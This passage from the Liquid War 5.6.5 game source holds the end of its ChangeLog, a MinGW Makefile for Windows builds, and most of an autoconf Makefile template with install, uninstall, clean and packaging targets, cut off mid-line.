(ufoot@ufoot.org) * version 5.4.0 released * The *big* change is that with this release Liquid War includes network support. There are probably some bugs left and some minor features are missing, but basically, one can play on a LAN. * The other important point is that the documentation is back - it had been lost when I had changed my web site - and is available in several formats (HTML, plain text, PostScript and PDF). * I also separated the Windows and DOS packages since the DOS .exe is quite big and most of the time useless to Windows users since DOS support in recent versions of Windows is getting worse and worse. 2001-03-18 Christian Mauduit (ufoot@ufoot.org) * version 5.3.3 released * Fixed some minor bugs which were revealed when creating the Debian package for Liquid War. * I also prepared a statically linked version of the game. This version installs itself in no time on almost any recent GNU/Linux box, so it's an interesting point for GNU/Linux users which do not feel like spending 3 hours compiling the game before being able to try it out. 2000-06-19 Christian Mauduit (ufoot@ufoot.org) * version 5.3.2 released * I changed the textures in the datafile and replaced the existing textures by textures I imported from the Gimp. This is for copyright issues since I can not find the author of the previous textures any more and would normally require his acceptance of my putting his textures in my GPL'ed game. So with Gimp's textures I'm pretty sure that I won't have any copyright problem. * I also started to comment the source files. 2000-04-09 Christian Mauduit (ufoot@ufoot.org) * version 5.3.1 released * I changed the GNU/Linux configure script so that it searches for dat (the allegro datafile compiler). The reason is that several players could not install LW because of this (they had downloaded the end-user version of Allegro but the full-version is needed). * I updated the GNU/Linux version so that it has all the features of the old dos version (including the "wave effect"). * A starter kit has been prepared, it a lighter version with a pred-built light datafile.It makes it easier to download LW quickly and try it out before downloading the full version. This implies that now one can use datafiles with any number of textures and maps. * I prepared binary packages for DOS & Windows (the windows version is *still* not very stable). * Added a button in the wave menu to toggle the wave effect without pressing F4 during gameplay. * Some bug fixing. 2000-03-12 Christian Mauduit (ufoot@ufoot.org) * version 5.3.0 released * All further major developpements of LW will be done from GNU/Linux. * I now use a unix style x.x.x numbering system for versions. * Liquid War is on sourceforge.net * I prepared scripts and changed the directory structure of the project, so that LW can be installed under GNU/Linux with standard commands like './configure;make;make install' * Many small bugs have been fixed. 1999-09-06 Christian Mauduit (ufoot@ufoot.org) * version 5.2 released * Liquid War is now released under the GNU General Public Licencse. * Some improvements such as a 'frame per second limit' which limits the time taken by display operations so that the game is globally faster. * I release the first windows executable of Liquid War, it's not very stable but basically works. * Soon after, Peter Wang gives me patches to have LW run under GNU/Linux. 1998-11-21 Christian Mauduit (ufoot@ufoot.org) * version 5.1 released * Small bug fixes, changed some menus. 1998-09-26 Christian Mauduit (ufoot@ufoot.org) * version 5.0 released * Everything has been rewritten DJGPP used instead of Borland C/C++ Allegro is used as a wrapper for ease of developpement and future portability Optimization of the algorithm Visual enhancements such as the "wave effect" An 'understandable' GUI replaces the old cryptic one. 1995-07-01 Christian Mauduit (ufoot@ufoot.org) * version 3.0 released * built with borlandc++ 3.0, barely usable. liquidwar-5.6.5/Makefile.mgw0000664000372000037200000001042213407756104015371 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org # This Makefile is used to compile the MS Windows 32-bit executable binary. # # It requires a working MinGW http://www.mingw.org/ install to work. # Previous releases of Liquid War required MSVC (Microsoft Visual C++). # It is not the case any more, Liquid War can be built with free tools. # # To compile Allegro for MinGW, read "./docs/build/mingw32.txt" in the # Allegro source distribution. Usually, the following sequence works: # > fix mingw # > make # > make install # # Then to compile Liquid War: # > mingw32-make -f makefile.mgw > make-log.txt 2> make-err.txt # # Note that the .exe produced won't work as is, you need to put the datafile # in the right path, and a few other things, see the "package_win32" target # of the main UNIX Makefile in Liquid War source distribution. C_PATH=./src/ H_PATH=./src/ ASM_PATH=./src/ OBJ_PATH=./src/ RC_PATH=./src/ OBJ_EXT=.mgw.o OBJ_NAMES=\ about \ advanced \ alleg2 \ area \ army \ asm \ autoplay \ back \ basicopt \ bigdata \ capture \ chat \ checksum \ code \ config \ connect \ controls \ cursor \ decal \ dialog \ disk \ disp \ distor \ dnsutil \ error \ exec2 \ exit \ fighter \ game \ httputil \ gfxmode \ grad \ graphics \ help \ info \ init \ internet \ joystick \ keyboard \ keyexch \ lang \ langde \ langdk \ langen \ langfr \ langpl \ language \ level \ logcli \ lw6 \ main \ map \ maptex \ menu \ mesh \ message \ mouse \ move \ music \ mutxw32 \ netconf \ netkey \ netgame \ netmap \ netmess \ netplay\ network \ options \ palette \ parser \ path \ ping \ pion \ play \ popupw32 \ profile \ protocol \ random \ rules \ score \ serial \ sock2cli \ sockex \ sockw32 \ sound \ speeds \ startinf \ startup \ team \ texture \ thrdw32 \ ticker \ time \ viewport \ volume \ watchdog \ wave \ wwwcli \ glouglou \ monster \ spread \ lwwin OBJ_NAMES_SRV=\ basicopt \ chat \ dnsutil \ execw32 \ httputil \ logsrv \ netconf \ netkey \ netmap \ netmess \ parser \ serial \ server \ sock2srv \ sockex \ sockw32 \ srvchan \ srvcont \ srvteam \ srvtime \ startinf \ thrdw32 \ wwwsrv OBJ_NAMES_MAPGEN=\ ../utils/lwmapgen/big_quad \ ../utils/lwmapgen/boxes \ ../utils/lwmapgen/bubbles \ ../utils/lwmapgen/circles \ ../utils/lwmapgen/circuit \ ../utils/lwmapgen/cut \ ../utils/lwmapgen/func \ ../utils/lwmapgen/hole \ ../utils/lwmapgen/lines \ ../utils/lwmapgen/main \ ../utils/lwmapgen/map \ ../utils/lwmapgen/map_generator \ ../utils/lwmapgen/misc \ ../utils/lwmapgen/rand_box \ ../utils/lwmapgen/rand_func \ ../utils/lwmapgen/rand_poly \ ../utils/lwmapgen/rand_poly_cut \ ../utils/lwmapgen/street \ ../utils/lwmapgen/worms OBJ_FILES=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES))) OBJ_FILES_SRV=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES_SRV))) OBJ_FILES_MAPGEN=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES_MAPGEN))) C_FLAGS=-O2 -fomit-frame-pointer -Wall -I$(H_PATH) C_COMPILE=gcc $(C_FLAGS) -o $@ -c $< -DWIN32 -DASM ASM_COMPILE=gcc $(C_FLAGS) -o $@ -c $< RC_COMPILE=windres -o $@ -i $< all: lwwin.exe lwwinsrv.exe lwwinmap.exe $(OBJ_PATH)%$(OBJ_EXT): $(C_PATH)%.c $(C_COMPILE) $(OBJ_PATH)%$(OBJ_EXT): $(ASM_PATH)%.s $(ASM_COMPILE) $(OBJ_PATH)%$(OBJ_EXT): $(RC_PATH)%.rc $(RC_COMPILE) lwwin.exe: $(OBJ_FILES) gcc -Wl,--subsystem,windows -o $@ $(OBJ_FILES) -lalleg -lws2_32 lwwinsrv.exe: $(OBJ_FILES_SRV) gcc -Wl,--subsystem,console -o $@ $(OBJ_FILES_SRV) -lws2_32 lwwinmap.exe: $(OBJ_FILES_MAPGEN) gcc -Wl,--subsystem,console -o $@ $(OBJ_FILES_MAPGEN) -lalleg liquidwar-5.6.5/Makefile.in0000664000372000037200000006741313407756104015221 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org prefix = @prefix@ exec_prefix = @exec_prefix@ bindir = @bindir@ datarootdir = @datarootdir@ datadir = @datadir@ mandir = @mandir@ infodir = @infodir@ BINDIR = $(bindir) GAMEDIR = $(exec_prefix)/games DATADIR = $(datadir)/games/liquidwar PIXDIR = $(datadir)/pixmaps DOCDIR = $(datadir)/doc/liquidwar DESKTOPDIR = $(datadir)/applications # We don't use the autoconf default mandir=$(prefix)/man man # directory since the FHS (File Hierarchy Standard recommends # to place man pages in $(datadir)/man (ie /usr/share/man). # MANDIR = $(mandir)/man6 MANDIR = $(datadir)/man/man6 # We don't use the autoconf default infodir=$(prefix)/info info # directory since the FHS (File Hierarchy Standard recommends # to place info pages in $(datadir)/info (ie /usr/share/info). # INFODDIR = $(infodir) INFODIR = $(datadir)/info INFODIRDIR = $(infodir) HOST = @host@ HOST_CPU = @host_cpu@ VERSION = @VERSION@ VERSION_REL = @VERSION_REL@ VERSION_COMPACT = @VERSION_COMPACT@ GMAKE = @GMAKE@ RPMS_DIR = @RPMS_DIR@ SRPMS_DIR = @SRPMS_DIR@ MAKE_BIN_DIR = ./src MAKE_DATA_DIR = ./data MAKE_UTILS_DIR = ./utils MAKE_DOC_DIR = ./doc MAKE_DIRS = $(MAKE_BIN_DIR) $(MAKE_UTILS_DIR) $(MAKE_DATA_DIR) $(MAKE_DOC_DIR) DOCKER_DIR = ./misc/docker PACKAGE_SOURCE_DIR = liquidwar-$(VERSION) PACKAGE_SOURCE_TAR = $(PACKAGE_SOURCE_DIR).tar PACKAGE_SOURCE_TARGZ = $(PACKAGE_SOURCE_TAR).gz PACKAGE_DOCKER_SOURCE_TARGZ = $(DOCKER_DIR)/$(PACKAGE_SOURCE_TARGZ) PACKAGE_DOCKER_METASERVER_TARGZ = $(DOCKER_DIR)/metaserver.tar.gz PACKAGE_DOCKER_TABLES_SQL = $(DOCKER_DIR)/tables.sql PACKAGE_BINARY_TAR = liquidwar-$(VERSION).$(HOST).tar PACKAGE_BINARY_TGZ = liquidwar-$(VERSION).$(HOST).tgz PACKAGE_DOS_DIR = LW5 PACKAGE_DOS_EXE = lwdos.exe lwdosmap.exe PACKAGE_DOS_ZIP = lw$(VERSION_COMPACT)d.zip # the following line should be edited to match your configuration PACKAGE_DOS_CWSDPMI = /storage/download/liquidwar/v5/allegro/cwsdpmi.exe PACKAGE_WIN32_DIR = LW5 PACKAGE_WIN32_EXE = lwwin.exe lwwinsrv.exe lwwinmap.exe PACKAGE_WIN32_ZIP = lw$(VERSION_COMPACT)w.zip # the following line should be edited to match your configuration PACKAGE_WIN32_ALLEGDLL = /storage/download/liquidwar/v5/allegro/alleg42.dll PACKAGE_NSIS_EXE = lw$(VERSION_COMPACT).exe PACKAGE_SOURCE_RPM_TARGET = $(SRPMS_DIR) PACKAGE_SOURCE_RPM = liquidwar-$(VERSION)-$(VERSION_REL).src.rpm PACKAGE_BINARY_RPM_TARGET = $(RPMS_DIR)/$(HOST_CPU) PACKAGE_BINARY_RPM = liquidwar-$(VERSION)-$(VERSION_REL).$(HOST_CPU).rpm PACKAGE_MACOSX_TAR = liquidwar-$(VERSION)-macosx.tar PACKAGE_MACOSX_TGZ = liquidwar-$(VERSION)-macosx.tgz PACKAGE_MACOSX_DMG = liquidwar-$(VERSION).dmg PACKAGE_GP2X_DIR = liquidwar-$(VERSION)-gp2x PACKAGE_GP2X_ZIP = liquidwar-$(VERSION)-gp2x.zip PACKAGE_TMP = /tmp/liquidwar-$(VERSION).tmp all: build_bin build_data build_doc @echo @echo "Build complete." @echo "Type \"$(GMAKE) install\" to install Liquid War $(VERSION)." world: clean world_clean all package_source package_win32 package_dos package_binary package_source_rpm package_binary_rpm package_gp2x build_bin: @$(GMAKE) -C $(MAKE_BIN_DIR) build_data: @$(GMAKE) -C $(MAKE_UTILS_DIR) @$(GMAKE) -C $(MAKE_DATA_DIR) build_doc: @$(GMAKE) -C $(MAKE_DOC_DIR) install: install_link install_nolink # the install_nolink is for distribs where $(prefix)/games is in the PATH, # for instance Debian, where a link in $(prefix)/bin is pretty much useless install_nolink: install_bin install_data install_custom_map install_custom_texture install_custom_music install_icon install_doc install_gpl install_desktop install_readme @echo @echo "Install of Liquid War $(VERSION) completed, seems that you are ready to play ;)" @echo "Have a good day!" @echo " U-Foot (ufoot@ufoot.org)" @echo @echo "Type \"liquidwar\" or \"$(GAMEDIR)/liquidwar\" to play." install_bin: src/liquidwar src/liquidwar-server src/liquidwar-mapgen @echo "Installing liquidwar binaries in $(GAMEDIR)." @install -d $(DESTDIR)$(GAMEDIR) @install -c -s src/liquidwar $(DESTDIR)$(GAMEDIR) @install -c -s src/liquidwar-server $(DESTDIR)$(GAMEDIR) @install -c -s src/liquidwar-mapgen $(DESTDIR)$(GAMEDIR) install_link: @echo "Installing link in $(BINDIR)." @install -d $(DESTDIR)$(BINDIR) @rm -rf $(DESTDIR)$(BINDIR)/liquidwar @rm -rf $(DESTDIR)$(BINDIR)/liquidwar-server @rm -rf $(DESTDIR)$(BINDIR)/liquidwar-mapgen @ln -s $(GAMEDIR)/liquidwar $(DESTDIR)$(BINDIR)/liquidwar @ln -s $(GAMEDIR)/liquidwar-server $(DESTDIR)$(BINDIR)/liquidwar-server @ln -s $(GAMEDIR)/liquidwar-mapgen $(DESTDIR)$(BINDIR)/liquidwar-mapgen install_data: data/liquidwar.dat @echo "Installing liquidwar datafile in $(DATADIR)." @install -d $(DESTDIR)$(DATADIR) @install -c -m 0644 data/liquidwar.dat $(DESTDIR)$(DATADIR) install_custom_map: @echo "Installing liquidwar custom maps in $(DATADIR)/map." @install -d $(DESTDIR)$(DATADIR) @install -d $(DESTDIR)$(DATADIR)/map @install -c -m 0644 custom/map/*.* $(DESTDIR)$(DATADIR)/map install_custom_texture: @echo "Installing liquidwar custom textures in $(DATADIR)/texture." @install -d $(DESTDIR)$(DATADIR) @install -d $(DESTDIR)$(DATADIR)/texture @install -c -m 0644 custom/texture/*.* $(DESTDIR)$(DATADIR)/texture install_custom_music: @echo "Installing liquidwar custom musics in $(DATADIR)/music." @install -d $(DESTDIR)$(DATADIR) @install -d $(DESTDIR)$(DATADIR)/music @install -c -m 0644 custom/music/*.* $(DESTDIR)$(DATADIR)/music install_doc: @if [ -f $(MAKE_DOC_DIR)/txt/rules.txt ]; then echo "Installing liquidwar plain text doc in $(DOCDIR)/txt."; install -d $(DESTDIR)$(DOCDIR)/txt; install -c -m 0644 $(MAKE_DOC_DIR)/txt/*.txt $(DESTDIR)$(DOCDIR)/txt; fi @if [ -f $(MAKE_DOC_DIR)/html/rules.html ]; then echo "Installing liquidwar HTML doc in $(DOCDIR)/html."; install -d $(DESTDIR)$(DOCDIR)/html; install -c -m 0644 $(MAKE_DOC_DIR)/html/*.html $(DESTDIR)$(DOCDIR)/html; fi @if [ -f $(MAKE_DOC_DIR)/man/liquidwar.6.gz ]; then echo "Installing liquidwar man page in $(MANDIR)."; install -d $(DESTDIR)$(MANDIR); install -c -m 0644 $(MAKE_DOC_DIR)/man/liquidwar.6.gz $(DESTDIR)$(MANDIR); ln -s -f liquidwar.6.gz $(DESTDIR)$(MANDIR)/liquidwar-server.6.gz; ln -s -f liquidwar.6.gz $(DESTDIR)$(MANDIR)/liquidwar-mapgen.6.gz; fi @if [ -f $(MAKE_DOC_DIR)/info/liquidwar.info.gz ]; then echo "Installing info page $(INFODIR)/liquidwar.info.gz."; install -d $(DESTDIR)$(INFODIR); install -c -m 644 $(MAKE_DOC_DIR)/info/liquidwar.info* $(DESTDIR)$(INFODIR); if which install-info; then if test -d $(DESTDIR)$(INFODIRDIR); then if test -f $(DESTDIR)$(INFODIRDIR)/dir; then echo "Installing liquidwar info entry."; install-info --info-dir=$(DESTDIR)$(INFODIRDIR) $(MAKE_DOC_DIR)/info/liquidwar.info.gz; fi; fi; fi; fi @if [ -f $(MAKE_DOC_DIR)/ps/liquidwar.ps ]; then echo "Installing liquidwar PostScript doc in $(DOCDIR)/ps."; install -d $(DESTDIR)$(DOCDIR)/ps; install -c -m 0644 $(MAKE_DOC_DIR)/ps/*.ps $(DESTDIR)$(DOCDIR)/ps; fi @if [ -f $(MAKE_DOC_DIR)/pdf/liquidwar.pdf ]; then echo "Installing liquidwar PDF doc in $(DOCDIR)/pdf."; install -d $(DESTDIR)$(DOCDIR)/pdf; install -c -m 0644 $(MAKE_DOC_DIR)/pdf/*.pdf $(DESTDIR)$(DOCDIR)/pdf; fi install_icon: @echo "Installing liquidwar icon in $(PIXDIR)." @install -d $(DESTDIR)$(PIXDIR) @install -c -m 0644 misc/liquidwar.xpm $(DESTDIR)$(PIXDIR) install_desktop: @echo "Installing desktop file in $(DESKTOPDIR)." @install -d $(DESTDIR)$(DESKTOPDIR) @install -c -m 0644 misc/liquidwar.desktop $(DESTDIR)$(DESKTOPDIR) install_gpl: @echo "Installing GPL in $(DOCDIR)." @install -d $(DESTDIR)$(DOCDIR) @install -c -m 0644 COPYING $(DESTDIR)$(DOCDIR) install_readme: @echo "Installing README in $(DOCDIR)." @install -d $(DESTDIR)$(DOCDIR) @install -c -m 0644 README.md $(DESTDIR)$(DOCDIR)/README @install -c -m 0644 README.fr $(DESTDIR)$(DOCDIR) @install -c -m 0644 README.de $(DESTDIR)$(DOCDIR) @install -c -m 0644 README.dk $(DESTDIR)$(DOCDIR) @install -c -m 0644 README.pl $(DESTDIR)$(DOCDIR) uninstall: @echo "Removing binary $(GAMEDIR)/liquidwar." @rm -f $(DESTDIR)$(GAMEDIR)/liquidwar @echo "Removing binary $(GAMEDIR)/liquidwar-server." @rm -f $(DESTDIR)$(GAMEDIR)/liquidwar-server @echo "Removing data directory $(DATADIR)." @rm -rf $(DESTDIR)$(DATADIR) @echo "Removing documentation directory $(DOCDIR)." @rm -rf $(DESTDIR)$(DOCDIR) @echo "Removing man page $(MANDIR)/liquidwar.6.gz." @rm -f $(DESTDIR)$(MANDIR)/liquidwar.6.gz @echo "Removing man page $(MANDIR)/liquidwar-server.6.gz." @rm -f $(DESTDIR)$(MANDIR)/liquidwar-server.6.gz @echo "Removing man page $(MANDIR)/liquidwar-mapgen.6.gz." @rm -f $(DESTDIR)$(MANDIR)/liquidwar-mapgen.6.gz @echo "Removing info page $(INFODIR)/liquidwar.info.gz." @rm -f $(DESTDIR)$(INFODIR)/liquidwar.info* @if which install-info; then if test -d $(DESTDIR)$(INFODIRDIR); then if test -f $(DESTDIR)$(INFODIRDIR)/dir; then echo "Removing info entry."; install-info --info-dir=$(DESTDIR)$(INFODIRDIR) --remove liquidwar; fi; fi; fi @echo "Removing icon $(PIXDIR)/liquidwar.xpm." @rm -f $(DESTDIR)$(PIXDIR)/liquidwar.xpm @echo "Removing desktop file $(DESKTOPDIR)/liquidwar.desktop." @rm -f $(DESTDIR)$(DESKTOPDIR)/liquidwar.desktop @echo "Removing link $(BINDIR)/liquidwar." @rm -f $(DESTDIR)$(BINDIR)/liquidwar @echo "Removing link $(BINDIR)/liquidwar-server." @rm -f $(DESTDIR)$(BINDIR)/liquidwar-server clean: @for d in $(MAKE_DIRS); do $(GMAKE) -C $$d clean; done @find . -name "*~" -o -name "*#*" -o -name ".*#*" | xargs rm -f @rm -f $(PACKAGE_DOCKER_SOURCE_TARGZ) $(PACKAGE_DOCKER_METASERVER_TARGZ) $(PACKAGE_DOCKER_TABLES_SQL) world_clean: @rm -f $(PACKAGE_SOURCE_TARGZ) @rm -f $(PACKAGE_DOCKER_SOURCE_TARGZ) @rm -f $(PACKAGE_DOCKER_METASERVER_TARGZ) @rm -f $(PACKAGE_DOCKER_TABLES_SQL) @rm -f $(PACKAGE_BINARY_TGZ) @rm -f $(PACKAGE_SOURCE_RPM) @rm -f $(PACKAGE_BINARY_RPM) @rm -f $(PACKAGE_DOS_ZIP) @rm -f $(PACKAGE_WIN32_ZIP) @rm -f $(PACKAGE_NSIS_EXE) @rm -f $(PACKAGE_MACOSX_TGZ) @rm -f $(PACKAGE_MACOSX_DMG) @rm -f $(PACKAGE_GP2X_ZIP) # used when preparing packages packageclean: clean world_clean @rm -r -f Makefile config.cache config.status config.log autom4te.cache @rm -f misc/liquidward misc/macosx_info.plist misc/liquidwar.nsi misc/docker/Dockerfile-build misc/docker/Dockerfile-server misc/docker/Dockerfile-metaserver @find . -name "*.o" -o -name "*.obj" | xargs rm -f @find . -name "*.tar.gz" -o -name "*.tgz" -o -name "*.zip" -o -name "*.rpm" -o -name "*.deb" -o -name "*.tgz" | xargs rm -f @find . -name ".xvpics" | xargs rm -rf @find . -name "lwmap.bmp" | xargs rm -f @rm -rf LW5 lwdos*exe lwwin*exe _tmpfile.arg *.log vc60.* *.idb *.pch @rm -rf data/lwwin* data/lwdos* @rm -rf starter @for d in $(MAKE_DIRS); do $(GMAKE) -C $$d distclean; done distclean: packageclean @rm -rf $(PACKAGE_TMP) config: @for d in $(MAKE_DIRS); do $(GMAKE) -C $$d config; done check: @for d in $(MAKE_DIRS); do $(GMAKE) -C $$d check; done dep: @for d in $(MAKE_DIRS); do $(GMAKE) -C $$d dep; done @echo @echo "Type \"$(GMAKE)\" to build Liquid War $(VERSION)." # ---------------------------------------------------------------------- # The following targets are used to produce various packages of LW, ie # - a source tarball # - a static binary stored in a .tar.gz # - a win32 binary # - a dos binary # - a source rpm # - a binary rpm # # These scripts are far from perfect, but they help me building # the files I upload to my website. Still, you're free to use them # yourself 8-) # ---------------------------------------------------------------------- dist: package_source package_source: $(PACKAGE_SOURCE_TARGZ) $(PACKAGE_SOURCE_TARGZ): @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) @echo "Copying files." @find . -maxdepth 1 \! -path "*$(PACKAGE_TMP)*" \! -name "." -exec cp -r \{\} $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) \; @echo "Cleaning up." @$(GMAKE) -C $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) packageclean @touch $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/.cvsignore @find $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) -name .cvsignore -o -name CVS -o -name .arch-ids -o -name "{arch}" -o -name ".git" -o -name ".gitignore" | xargs rm -rf @cd $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) @echo "Creating tarball." @cd $(PACKAGE_TMP) && tar cf $(PACKAGE_SOURCE_TAR) $(PACKAGE_SOURCE_DIR) @echo "Compressing." @gzip -9 $(PACKAGE_TMP)/$(PACKAGE_SOURCE_TAR) @mv $(PACKAGE_TMP)/$(PACKAGE_SOURCE_TARGZ) . @echo "Deleting temporary directory." @rm -rf $(PACKAGE_TMP) package_dos: $(PACKAGE_DOS_ZIP) $(PACKAGE_DOS_ZIP): $(PACKAGE_DOS_EXE) $(PACKAGE_DOS_CWSDPMI) @echo "Building data." @$(GMAKE) -C data @echo "Building doc." @$(GMAKE) -C doc @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR) @echo "Copying files." @cp $(PACKAGE_DOS_EXE) $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR) @cp $(PACKAGE_DOS_CWSDPMI) $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR) @cp README.md $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/readme.txt @cp README.fr $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/readmefr.txt @cp README.de $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/readmede.txt @cp README.dk $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/readmedk.txt @cp README.pl $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/readmepl.txt @cp COPYING $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/license.txt @cp ChangeLog $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/changes.txt @cp misc/liquidwar.ico $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/lw.ico @install -d $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/data @cp data/liquidwar.dat $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/data/lw.dat @install -d $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/custom @cp -r custom/map $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/custom @cp -r custom/texture $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/custom @cp -r custom/music $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/custom @install -d $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/doc @cp -r doc/txt $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/doc @echo "Cleaning up." @touch $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR)/.cvsignore @find $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR) -name .cvsignore -o -name CVS -o -name .arch-ids -o -name "{arch}" -o -name DUMMY -o -name "*.inc" -o -name "*.in" | xargs rm -rf @cp fix.sh $(PACKAGE_TMP) @cd $(PACKAGE_TMP)/$(PACKAGE_DOS_DIR) && $(PACKAGE_TMP)/fix.sh dos @echo "Zipping." @cd $(PACKAGE_TMP) && zip -r -9 $(PACKAGE_DOS_ZIP) $(PACKAGE_DOS_DIR) @mv $(PACKAGE_TMP)/$(PACKAGE_DOS_ZIP) . @echo "Deleting temporary directory." @rm -rf $(PACKAGE_TMP) package_win32: $(PACKAGE_WIN32_ZIP) $(PACKAGE_WIN32_ZIP): $(PACKAGE_WIN32_EXE) $(PACKAGE_WIN32_ALLEGDLL) @echo "Building data." @$(GMAKE) -C data @echo "Building doc." @$(GMAKE) -C doc @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) @echo "Copying files." @cp $(PACKAGE_WIN32_EXE) $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) @cp $(PACKAGE_WIN32_ALLEGDLL) $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) @cp README.md $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/readme.txt @cp README.fr $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/readmefr.txt @cp README.de $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/readmede.txt @cp README.dk $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/readmedk.txt @cp README.pl $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/readmepl.txt @cp COPYING $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/license.txt @cp ChangeLog $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/changes.txt @install -d $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/data @cp data/liquidwar.dat $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/data/lw.dat @install -d $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/custom @cp -r custom/map $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/custom @cp -r custom/texture $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/custom @cp -r custom/music $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/custom @install -d $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/doc @cp -r doc/html doc/txt doc/pdf $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/doc @install -d $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/misc @cp -r misc/lwserver.bat misc/lwpopup.js $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/misc @echo "Cleaning up." @touch $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/.cvsignore @find $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) -name .cvsignore -o -name CVS -o -name .arch-ids -o -name "{arch}" -o -name DUMMY -o -name "*.inc" -o -name "*.in" | xargs rm -rf @cp fix.sh $(PACKAGE_TMP) @cd $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) && $(PACKAGE_TMP)/fix.sh dos @echo "Zipping." @cd $(PACKAGE_TMP) && zip -r -9 $(PACKAGE_WIN32_ZIP) $(PACKAGE_WIN32_DIR) @mv $(PACKAGE_TMP)/$(PACKAGE_WIN32_ZIP) . @echo "Deleting temporary directory." @rm -rf $(PACKAGE_TMP) package_nsis: $(PACKAGE_NSIS_EXE) $(PACKAGE_NSIS_EXE): $(PACKAGE_WIN32_ZIP) @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP) @cp $(PACKAGE_WIN32_ZIP) $(PACKAGE_TMP) @cd $(PACKAGE_TMP) && unzip $(PACKAGE_WIN32_ZIP) @cp misc/liquidwar.nsi $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) @cd $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR) && makensis liquidwar.nsi @cp $(PACKAGE_TMP)/$(PACKAGE_WIN32_DIR)/$(PACKAGE_NSIS_EXE) . @rm -rf $(PACKAGE_TMP) package_binary: $(PACKAGE_BINARY_TGZ) $(PACKAGE_BINARY_TGZ): $(PACKAGE_SOURCE_TARGZ) @echo "Checking permissions." @if [ `whoami` != root ] ; then echo "You need to be root to build $@." && exit 1 ; fi @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP) @echo "Preparing source." @cp $(PACKAGE_SOURCE_TARGZ) $(PACKAGE_TMP) @cd $(PACKAGE_TMP) && tar xzf $(PACKAGE_SOURCE_TARGZ) @cd $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) && ./configure --enable-static --disable-doc-info 